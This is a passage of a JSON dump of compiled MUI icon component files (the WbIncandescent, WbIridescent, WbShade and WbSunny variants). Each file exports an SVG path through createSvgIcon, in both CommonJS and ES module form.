    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4.25 19.79c.39.39 1.02.39 1.41 0l.39-.39c.39-.39.38-1.02 0-1.4l-.01-.01a.996.996 0 0 0-1.41 0l-.39.39c-.38.4-.38 1.02.01 1.41M11.99 23H12c.55 0 .99-.44.99-.99v-.96c0-.55-.44-.99-.99-.99h-.01c-.55 0-.99.44-.99.99v.96c0 .55.44.99.99.99M3.01 11.05H1.99c-.55 0-.99.44-.99.99v.01c0 .55.44.99.99.99H3c.55 0 .99-.44.99-.99v-.01c.01-.55-.43-.99-.98-.99M15 6.86V3.05c0-.55-.45-1-1-1h-4c-.55 0-1 .45-1 1v3.81c-2.04 1.18-3.32 3.52-2.93 6.13.4 2.61 2.56 4.7 5.18 5.02 3.64.44 6.75-2.4 6.75-5.95 0-2.23-1.21-4.16-3-5.2m5 5.18v.01c0 .55.44.99.99.99H22c.55 0 .99-.44.99-.99v-.01c0-.55-.44-.99-.99-.99h-1.01c-.55 0-.99.44-.99.99m-2.06 7.37.39.39c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41l-.39-.39c-.39-.39-1.02-.38-1.4 0-.4.4-.4 1.02-.01 1.41\"\n}), 'WbIncandescentRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WbIncandescentSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m3.55 19.09 1.41 1.41 1.79-1.8-1.41-1.41zM11 23h2v-2.95h-2zM4 11.05H1v2h3zm11-4.19V2.05H9v4.81C7.21 7.9 6 9.83 6 12.05c0 3.31 2.69 6 6 6s6-2.69 6-6c0-2.22-1.21-4.15-3-5.19m5 4.19v2h3v-2zm-2.76 7.66 1.79 1.8 1.41-1.41-1.8-1.79z\"\n}), 'WbIncandescentSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WbIncandescentSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m3.55 19.09 1.41 1.41 1.79-1.8-1.41-1.41zM11 23h2v-2.95h-2zM4 11.05H1v2h3zm11-4.19V2.05H9v4.81C7.21 7.9 6 9.83 6 12.05c0 3.31 2.69 6 6 6s6-2.69 6-6c0-2.22-1.21-4.15-3-5.19m5 4.19v2h3v-2zm-2.76 7.66 1.79 1.8 1.41-1.41-1.8-1.79z\"\n}), 'WbIncandescentSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WbIncandescentTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14 8.59-1-.58V4.05h-2v3.96l-1 .58c-1.24.72-2 2.04-2 3.46 0 2.21 1.79 4 4 4s4-1.79 4-4c0-1.42-.77-2.74-2-3.46\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m3.55 19.09 1.41 1.41 1.79-1.8-1.41-1.41zM11 20h2v3h-2zM1 11h3v2H1zm14-4.14V2.05H9v4.81C7.21 7.9 6 9.83 6 12.05c0 3.31 2.69 6 6 6s6-2.69 6-6c0-2.22-1.21-4.15-3-5.19m-3 9.19c-2.21 0-4-1.79-4-4 0-1.42.77-2.74 2-3.46l1-.58V4.05h2v3.96l1 .58c1.24.72 2 2.04 2 3.46 0 2.21-1.79 4-4 4M20 11h3v2h-3zm-2.76 7.71 1.79 1.8 1.41-1.41-1.8-1.79z\"\n}, \"1\")], 'WbIncandescentTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WbIncandescentTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m14 8.59-1-.58V4.05h-2v3.96l-1 .58c-1.24.72-2 2.04-2 3.46 0 2.21 1.79 4 4 4s4-1.79 4-4c0-1.42-.77-2.74-2-3.46\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m3.55 19.09 1.41 1.41 1.79-1.8-1.41-1.41zM11 20h2v3h-2zM1 11h3v2H1zm14-4.14V2.05H9v4.81C7.21 7.9 6 9.83 6 12.05c0 3.31 2.69 6 6 6s6-2.69 6-6c0-2.22-1.21-4.15-3-5.19m-3 9.19c-2.21 0-4-1.79-4-4 0-1.42.77-2.74 2-3.46l1-.58V4.05h2v3.96l1 .58c1.24.72 2 2.04 2 3.46 0 2.21-1.79 4-4 4M20 11h3v2h-3zm-2.76 7.71 1.79 1.8 1.41-1.41-1.8-1.79z\"\n}, \"1\")], 'WbIncandescentTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WbIridescent.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 14.5h14v-6H5zM11 .55V3.5h2V.55zm8.04 2.5-1.79 1.79 1.41 1.41 1.8-1.79zM13 22.45V19.5h-2v2.95zm7.45-3.91-1.8-1.79-1.41 1.41 1.79 1.8zM3.55 4.46l1.79 1.79 1.41-1.41-1.79-1.79zm1.41 15.49 1.79-1.8-1.41-1.41-1.79 1.79z\"\n}), 'WbIridescent');"
  },
  {
    "path": "packages/mui-icons-material/lib/WbIridescent.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 14.5h14v-6H5zM11 .55V3.5h2V.55zm8.04 2.5-1.79 1.79 1.41 1.41 1.8-1.79zM13 22.45V19.5h-2v2.95zm7.45-3.91-1.8-1.79-1.41 1.41 1.79 1.8zM3.55 4.46l1.79 1.79 1.41-1.41-1.79-1.79zm1.41 15.49 1.79-1.8-1.41-1.41-1.79 1.79z\"\n}), 'WbIridescent');"
  },
  {
    "path": "packages/mui-icons-material/lib/WbIridescentOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 15h14V9H5zm2-4h10v2H7zm4-10h2v3h-2zm9.46 4.01L19.04 3.6l-1.79 1.79 1.41 1.41zM11 20h2v3h-2zm6.24-1.29 1.79 1.8 1.42-1.42-1.8-1.79zM4.96 3.595l1.788 1.79L5.34 6.79 3.553 5.003zM3.55 19.08l1.41 1.42 1.79-1.8-1.41-1.41z\"\n}), 'WbIridescentOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WbIridescentOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 15h14V9H5zm2-4h10v2H7zm4-10h2v3h-2zm9.46 4.01L19.04 3.6l-1.79 1.79 1.41 1.41zM11 20h2v3h-2zm6.24-1.29 1.79 1.8 1.42-1.42-1.8-1.79zM4.96 3.595l1.788 1.79L5.34 6.79 3.553 5.003zM3.55 19.08l1.41 1.42 1.79-1.8-1.41-1.41z\"\n}), 'WbIridescentOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WbIridescentRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 15h12c.55 0 1-.45 1-1v-3.95c0-.55-.45-1-1-1H6c-.55 0-1 .45-1 1V14c0 .55.45 1 1 1m5-13v1.05c0 .55.45.95 1 .95s1-.4 1-.95V2c0-.55-.45-1-1-1s-1 .45-1 1m7.34 2.3-.38.38c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l.38-.38c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0M13 22v-.96c0-.55-.45-1-1-1s-1 .45-1 1V22c0 .55.45 1 1 1s1-.45 1-1m6.74-3.61-.39-.39a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l.38.39c.39.39 1.02.39 1.41 0l.01-.01c.39-.38.39-1.02 0-1.4M4.25 5.71l.39.39c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41l-.39-.39a.996.996 0 0 0-1.41 0c-.38.39-.38 1.03 0 1.41m1.42 14.08.38-.38c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0l-.38.38c-.39.39-.39 1.02 0 1.41.38.39 1.02.39 1.41 0\"\n}), 'WbIridescentRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WbIridescentRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 15h12c.55 0 1-.45 1-1v-3.95c0-.55-.45-1-1-1H6c-.55 0-1 .45-1 1V14c0 .55.45 1 1 1m5-13v1.05c0 .55.45.95 1 .95s1-.4 1-.95V2c0-.55-.45-1-1-1s-1 .45-1 1m7.34 2.3-.38.38c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l.38-.38c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0M13 22v-.96c0-.55-.45-1-1-1s-1 .45-1 1V22c0 .55.45 1 1 1s1-.45 1-1m6.74-3.61-.39-.39a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l.38.39c.39.39 1.02.39 1.41 0l.01-.01c.39-.38.39-1.02 0-1.4M4.25 5.71l.39.39c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41l-.39-.39a.996.996 0 0 0-1.41 0c-.38.39-.38 1.03 0 1.41m1.42 14.08.38-.38c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0l-.38.38c-.39.39-.39 1.02 0 1.41.38.39 1.02.39 1.41 0\"\n}), 'WbIridescentRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WbIridescentSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 15h14V9.05H5zm6-14v3h2V1zm8.04 2.6-1.79 1.79 1.41 1.41 1.8-1.79zM13 23v-2.95h-2V23zm7.45-3.91-1.8-1.79-1.41 1.41 1.79 1.8zM3.55 5.01 5.34 6.8l1.41-1.41L4.96 3.6zM4.96 20.5l1.79-1.8-1.41-1.41-1.79 1.79z\"\n}), 'WbIridescentSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WbIridescentSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 15h14V9.05H5zm6-14v3h2V1zm8.04 2.6-1.79 1.79 1.41 1.41 1.8-1.79zM13 23v-2.95h-2V23zm7.45-3.91-1.8-1.79-1.41 1.41 1.79 1.8zM3.55 5.01 5.34 6.8l1.41-1.41L4.96 3.6zM4.96 20.5l1.79-1.8-1.41-1.41-1.79 1.79z\"\n}), 'WbIridescentSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WbIridescentTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 11h10v2H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 15h14V9H5zm2-4h10v2H7zm4-10h2v3h-2zm6.25 4.39 1.41 1.41 1.8-1.79-1.42-1.41zM11 20h2v3h-2zm6.24-1.29 1.79 1.8 1.42-1.42-1.8-1.79zM5.34 6.805l-1.788-1.79L4.96 3.61l1.788 1.788zM3.55 19.08l1.41 1.42 1.79-1.8-1.41-1.41z\"\n}, \"1\")], 'WbIridescentTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WbIridescentTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 11h10v2H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 15h14V9H5zm2-4h10v2H7zm4-10h2v3h-2zm6.25 4.39 1.41 1.41 1.8-1.79-1.42-1.41zM11 20h2v3h-2zm6.24-1.29 1.79 1.8 1.42-1.42-1.8-1.79zM5.34 6.805l-1.788-1.79L4.96 3.61l1.788 1.788zM3.55 19.08l1.41 1.42 1.79-1.8-1.41-1.41z\"\n}, \"1\")], 'WbIridescentTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WbShade.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 12v2.5l5.5 5.5H22zm0 8h3l-3-3zM8 4l-6 6h2v10h8V10h2zm1 10H7v-4h2z\"\n}), 'WbShade');"
  },
  {
    "path": "packages/mui-icons-material/lib/WbShade.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 12v2.5l5.5 5.5H22zm0 8h3l-3-3zM8 4l-6 6h2v10h8V10h2zm1 10H7v-4h2z\"\n}), 'WbShade');"
  },
  {
    "path": "packages/mui-icons-material/lib/WbShadeOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 12v2.5l5.5 5.5H22zm0 8h3l-3-3zM8 4l-6 6h2v10h8V10h2zm1 10H7v-4h2z\"\n}), 'WbShadeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WbShadeOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 12v2.5l5.5 5.5H22zm0 8h3l-3-3zM8 4l-6 6h2v10h8V10h2zm1 10H7v-4h2z\"\n}), 'WbShadeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WbShadeRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 14.13c0 .23.09.46.26.63l4.98 4.98c.17.17.39.26.62.26.79 0 1.18-.95.62-1.51l-4.98-4.98c-.55-.56-1.5-.16-1.5.62M15 20h2l-3-3v2c0 .55.45 1 1 1M7.65 4.35l-4.8 4.8c-.31.31-.09.85.36.85H4v9c0 .55.45 1 1 1h6c.55 0 1-.45 1-1v-9h.79c.45 0 .67-.54.35-.85l-4.79-4.8c-.19-.19-.51-.19-.7 0M9 14H7v-4h2z\"\n}), 'WbShadeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WbShadeRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 14.13c0 .23.09.46.26.63l4.98 4.98c.17.17.39.26.62.26.79 0 1.18-.95.62-1.51l-4.98-4.98c-.55-.56-1.5-.16-1.5.62M15 20h2l-3-3v2c0 .55.45 1 1 1M7.65 4.35l-4.8 4.8c-.31.31-.09.85.36.85H4v9c0 .55.45 1 1 1h6c.55 0 1-.45 1-1v-9h.79c.45 0 .67-.54.35-.85l-4.79-4.8c-.19-.19-.51-.19-.7 0M9 14H7v-4h2z\"\n}), 'WbShadeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WbShadeSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 12v2.5l5.5 5.5H22zm0 8h3l-3-3zM8 4l-6 6h2v10h8V10h2zm1 10H7v-4h2z\"\n}), 'WbShadeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WbShadeSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 12v2.5l5.5 5.5H22zm0 8h3l-3-3zM8 4l-6 6h2v10h8V10h2zm1 10H7v-4h2z\"\n}), 'WbShadeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WbShadeTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 12v2.5l5.5 5.5H22zm0 8h3l-3-3zM8 4l-6 6h2v10h8V10h2zm1 10H7v-4h2z\"\n}), 'WbShadeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WbShadeTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 12v2.5l5.5 5.5H22zm0 8h3l-3-3zM8 4l-6 6h2v10h8V10h2zm1 10H7v-4h2z\"\n}), 'WbShadeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WbSunny.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m6.76 4.84-1.8-1.79-1.41 1.41 1.79 1.79zM4 10.5H1v2h3zm9-9.95h-2V3.5h2zm7.45 3.91-1.41-1.41-1.79 1.79 1.41 1.41zm-3.21 13.7 1.79 1.8 1.41-1.41-1.8-1.79zM20 10.5v2h3v-2zm-8-5c-3.31 0-6 2.69-6 6s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6m-1 16.95h2V19.5h-2zm-7.45-3.91 1.41 1.41 1.79-1.8-1.41-1.41z\"\n}), 'WbSunny');"
  },
  {
    "path": "packages/mui-icons-material/lib/WbSunny.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m6.76 4.84-1.8-1.79-1.41 1.41 1.79 1.79zM4 10.5H1v2h3zm9-9.95h-2V3.5h2zm7.45 3.91-1.41-1.41-1.79 1.79 1.41 1.41zm-3.21 13.7 1.79 1.8 1.41-1.41-1.8-1.79zM20 10.5v2h3v-2zm-8-5c-3.31 0-6 2.69-6 6s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6m-1 16.95h2V19.5h-2zm-7.45-3.91 1.41 1.41 1.79-1.8-1.41-1.41z\"\n}), 'WbSunny');"
  },
  {
    "path": "packages/mui-icons-material/lib/WbSunnyOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m6.76 4.84-1.8-1.79-1.41 1.41 1.79 1.79zM1 10.5h3v2H1zM11 .55h2V3.5h-2zm8.04 2.495 1.408 1.407-1.79 1.79-1.407-1.408zm-1.8 15.115 1.79 1.8 1.41-1.41-1.8-1.79zM20 10.5h3v2h-3zm-8-5c-3.31 0-6 2.69-6 6s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6m0 10c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4-1.79 4-4 4m-1 4h2v2.95h-2zm-7.45-.96 1.41 1.41 1.79-1.8-1.41-1.41z\"\n}), 'WbSunnyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WbSunnyOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m6.76 4.84-1.8-1.79-1.41 1.41 1.79 1.79zM1 10.5h3v2H1zM11 .55h2V3.5h-2zm8.04 2.495 1.408 1.407-1.79 1.79-1.407-1.408zm-1.8 15.115 1.79 1.8 1.41-1.41-1.8-1.79zM20 10.5h3v2h-3zm-8-5c-3.31 0-6 2.69-6 6s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6m0 10c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4-1.79 4-4 4m-1 4h2v2.95h-2zm-7.45-.96 1.41 1.41 1.79-1.8-1.41-1.41z\"\n}), 'WbSunnyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WbSunnyRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m6.05 4.14-.39-.39c-.39-.39-1.02-.38-1.4 0l-.01.01c-.39.39-.39 1.02 0 1.4l.39.39c.39.39 1.01.39 1.4 0l.01-.01c.39-.38.39-1.02 0-1.4M3.01 10.5H1.99c-.55 0-.99.44-.99.99v.01c0 .55.44.99.99.99H3c.56.01 1-.43 1-.98v-.01c0-.56-.44-1-.99-1m9-9.95H12c-.56 0-1 .44-1 .99v.96c0 .55.44.99.99.99H12c.56.01 1-.43 1-.98v-.97c0-.55-.44-.99-.99-.99m7.74 3.21c-.39-.39-1.02-.39-1.41-.01l-.39.39c-.39.39-.39 1.02 0 1.4l.01.01c.39.39 1.02.39 1.4 0l.39-.39c.39-.39.39-1.01 0-1.4m-1.81 15.1.39.39c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41l-.39-.39c-.39-.39-1.02-.38-1.4 0-.4.4-.4 1.02-.01 1.41M20 11.49v.01c0 .55.44.99.99.99H22c.55 0 .99-.44.99-.99v-.01c0-.55-.44-.99-.99-.99h-1.01c-.55 0-.99.44-.99.99M12 5.5c-3.31 0-6 2.69-6 6s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6m-.01 16.95H12c.55 0 .99-.44.99-.99v-.96c0-.55-.44-.99-.99-.99h-.01c-.55 0-.99.44-.99.99v.96c0 .55.44.99.99.99m-7.74-3.21c.39.39 1.02.39 1.41 0l.39-.39c.39-.39.38-1.02 0-1.4l-.01-.01a.996.996 0 0 0-1.41 0l-.39.39c-.38.4-.38 1.02.01 1.41\"\n}), 'WbSunnyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WbSunnyRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m6.05 4.14-.39-.39c-.39-.39-1.02-.38-1.4 0l-.01.01c-.39.39-.39 1.02 0 1.4l.39.39c.39.39 1.01.39 1.4 0l.01-.01c.39-.38.39-1.02 0-1.4M3.01 10.5H1.99c-.55 0-.99.44-.99.99v.01c0 .55.44.99.99.99H3c.56.01 1-.43 1-.98v-.01c0-.56-.44-1-.99-1m9-9.95H12c-.56 0-1 .44-1 .99v.96c0 .55.44.99.99.99H12c.56.01 1-.43 1-.98v-.97c0-.55-.44-.99-.99-.99m7.74 3.21c-.39-.39-1.02-.39-1.41-.01l-.39.39c-.39.39-.39 1.02 0 1.4l.01.01c.39.39 1.02.39 1.4 0l.39-.39c.39-.39.39-1.01 0-1.4m-1.81 15.1.39.39c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41l-.39-.39c-.39-.39-1.02-.38-1.4 0-.4.4-.4 1.02-.01 1.41M20 11.49v.01c0 .55.44.99.99.99H22c.55 0 